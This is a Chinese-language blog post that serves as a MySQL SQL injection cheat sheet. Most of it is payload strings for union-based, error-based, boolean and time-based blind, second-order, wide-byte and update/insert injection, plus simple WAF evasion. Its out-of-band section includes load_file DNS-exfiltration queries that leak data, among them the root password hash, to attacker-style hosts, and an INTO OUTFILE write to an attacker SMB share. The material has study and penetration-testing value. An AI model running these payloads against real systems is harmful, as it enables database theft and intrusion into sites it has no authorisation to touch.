SQL注入

作者: 原来是老王 | 来源:发表于2019-01-07 08:48 被阅读3次

    用户输入数据被当成了代码被执行
    原则
    有回显:union select、报错注入
    无回显:dnslog, time-based, boolean-based
    注:思维导图https://github.com/UltramanGaia/SecMM

    SQL注入思维导图

    最常见的注入


    select * from xxx where id = %s ;
    select * from xxx where id = '%s' ;
    select * from xxx where id = "%s" ;
    select * from xxx where id = ('%s') ;
    select * from xxx where id = ("%s") ;
    
    用
    '
    "
    (
    )
    char
    string
    组合看看能不能报错显示出执行的sql语句
    检测union select注入
    order by 查列数
    union select 看回显
    
    用
    or 1=1
    or 1=2
    and 1=1
    and 1=2
    检测boolean注入
    
    用
    or sleep(3)
    检测time_base注入
    

    Mysql


    Mysql 默认端口 3306
    

    注入方法


    Union Select注入


    确认列数
    order by 
    union select 1,2,3
    union select null,null,null
    union select @,@,@
    

    报错注入


    1. floor + rand + group by
    select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
    select * from user where id=1 and (select count(*) from (select 1 union select null union select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));
    2. ExtractValue
    select * from user where id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
    3. UpdateXml
    select * from user where id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1));
    4. Name_Const(>5.0.12)
    select * from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;
    5. Join
    select * from(select * from mysql.user a join mysql.user b)c;
    select * from(select * from mysql.user a join mysql.user b using(Host))c;
    select * from(select * from mysql.user a join mysql.user b using(Host,User))c;
    6. exp()//mysql5.7貌似不能用
    select * from user where id=1 and Exp(~(select * from (select version())a));
    7. geometrycollection()//mysql5.7貌似不能用
    select * from user where id=1 and geometrycollection((select * from(select * from(select user())a)b));
    8. multipoint()//mysql5.7貌似不能用
    select * from user where id=1 and multipoint((select * from(select * from(select user())a)b));
    9. polygon()//mysql5.7貌似不能用
    select * from user where id=1 and polygon((select * from(select * from(select user())a)b));
    10. multipolygon()//mysql5.7貌似不能用
    select * from user where id=1 and multipolygon((select * from(select * from(select user())a)b));
    11. linestring()//mysql5.7貌似不能用
    select * from user where id=1 and linestring((select * from(select * from(select user())a)b));
    12. multilinestring()//mysql5.7貌似不能用
    select * from user where id=1 and multilinestring((select * from(select * from(select user())a)b));
    

    带外注入


    • bool注入
    and 1=1
    and 1=2
    or 1=1
    or 1=2
    爆数据长度
    and length(查询数据语句)=数字
    select * from user where id=1 and length((select version()))=23;
    爆数据
    and mid((查询数据语句),数字,1)='字符'
    select * from user where id=1 and mid((select version()),1,1)='5';
    
    • 时间盲注
    sleep()
    benchmark()
    爆数据长度
    and if(length(查询数据语句)=数字,sleep(5),0)
    and if(length(查询数据语句)=数字,BENCHMARK(10000000, md5(1)),0)
    爆数据
    and if(mid((查询数据语句),数字,1)='字符',sleep(5),0)
    and if(mid((查询数据语句),数字,1)='字符',BENCHMARK(10000000, md5(1)),0)
    其他操作。。
    
    • dnslog注入
    select load_file(concat('\\\\foo.',(select mid(version(),1,1)),'.attack.com\\'));
    SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));
    
    • SMB
    ' or 1=1 into outfile '\\\\attacker\\SMBshare\\output.txt'
    

    获取信息


    最常用的获取数据方法

    大于Mysql 5.0

    获取库名
    select schema_name from information_schema.schemata limit 0,1
    获取表名
    select table_name from information_schema.tables where table_schema='mysql' limit 0,1
    获取列名
    select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
    获取数据
    select name from user; 
    注:可以用十六进制代替数据库名、表名
    
    如果过滤了空格,linux下可以用下列字符替代
    %09 tab水平
    %0a 换行
    %0d return 
    %0b tab垂直
    %a0 空格
    

    库名

    select database();
    select schema_name from information_schema.schemata limit 0,1;
    select group_concat(schema_name) from information_schema.schemata;
    select distinct(Db) from mysql.db;
    select distinct(database_name) from mysql.innodb_index_stats;//mysql>5.6
    select distinct(database_name) from mysql.innodb_table_stats;//mysql>5.6
    

    表名

    select table_name from information_schema.tables where table_schema='mysql' limit 0,1
    select group_concat(table_name) from information_schema.tables where table_schema='mysql' ;
    SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != 'mysql' AND table_schema != 'information_schema'
    select distinct(table_name) from mysql.innodb_index_stats;//mysql>5.6
    select distinct(table_name) from mysql.innodb_table_stats;//mysql>5.6
    

    列名

    select column_name from information_schema.columns where table_schema= 'mysql' and table_name = 'db' limit 0,1
    select group_concat(column_name) from information_schema.columns where table_schema= 'mysql' and table_name = 'db'
    

    数据

    Select group_concat(column_name) from table_name
    

    二次排序注入 (存储型的注入)


    二次排序注入也称为存储型的注入,就是将可能导致sql注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发sql注入。
    二次排序注入思路:
    1. hacker输入的数据会经过转义代入sql语句中,然后,储存在数据库中,在数据库中的数据是没有转义的
    2. hacker进行别的操作,将数据库中的数据取出来(未转义)并用于拼接到另外一个sql语句中,这就可以绕过转义了。
    假设存在一个账户"admin",密码不知
    创建一个账户"admin'#",则在数据库中保存有"admin'#"
    修改密码的时候,代入sql语句
    update users set passwd = "xxxx" where username = '      admin'#    ' and passwd = 'xxxxxxx'
    

    宽字节注入


    %df'   ->    %df%5c'
    将sql语句解析为gbk编码时,
    %df%5c  ->  当成一个字符,后面的'逃逸出来了
    
    (1) mysql_query,如mysql_query("SET NAMES 'gbk'", $conn)、mysql_query("setcharacter_set_client = gbk", $conn)。
    
    (2) mysql_set_charset,如mysql_set_charset("gbk",$conn)。
    
    (3) mb_convert_encoding,如mb_convert_encoding($sql,"utf8","gbk"),将SQL语句从gbk格式转换为utf8格式时,0x5c被吃掉了。
    
    (4) iconv,如iconv('GBK', 'UTF-8',$sql)
    

    注入点 update / insert /delete


    报错注入
    extractvalue()函数是MYSQL对XML文档数据进行查询函数。
    or extractvalue(1,concat(0x7e,version())) or
    
    updatexml()函数是MYSQL对XML文档数据进行修改的XPATH函数。
    or updatexml(1,concat(0x7e,(version())),0) or
    
    name_const()函数是MYSQL5.0.12版本加入的一个返回给定值的函数。当用来产生一个结果集合列时 , NAME_CONST() 促使该列使用给定名称。
    or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a) or
    在最新的MYSQL版本中,使用name_const()函数只能提取到数据库的版本信息。但是在一些比较旧的高于5.0.12(包括5.0.12)的MYSQL版本中,可以进一步提取更多数据。
    
    update数据到可见参数
    update users set points =  1*(select conv(hex((select substr( pw ,1%s,1))),0b10000,0b10))
    

    WAF绕过

    检测select
    
    尝试大小写绕过
    尝试URLencode,如%53elect
    仅能查询当前表
    

    相关文章

      网友评论

        本文标题:SQL注入

        本文链接:https://www.haomeiwen.com/subject/tssyrqtx.html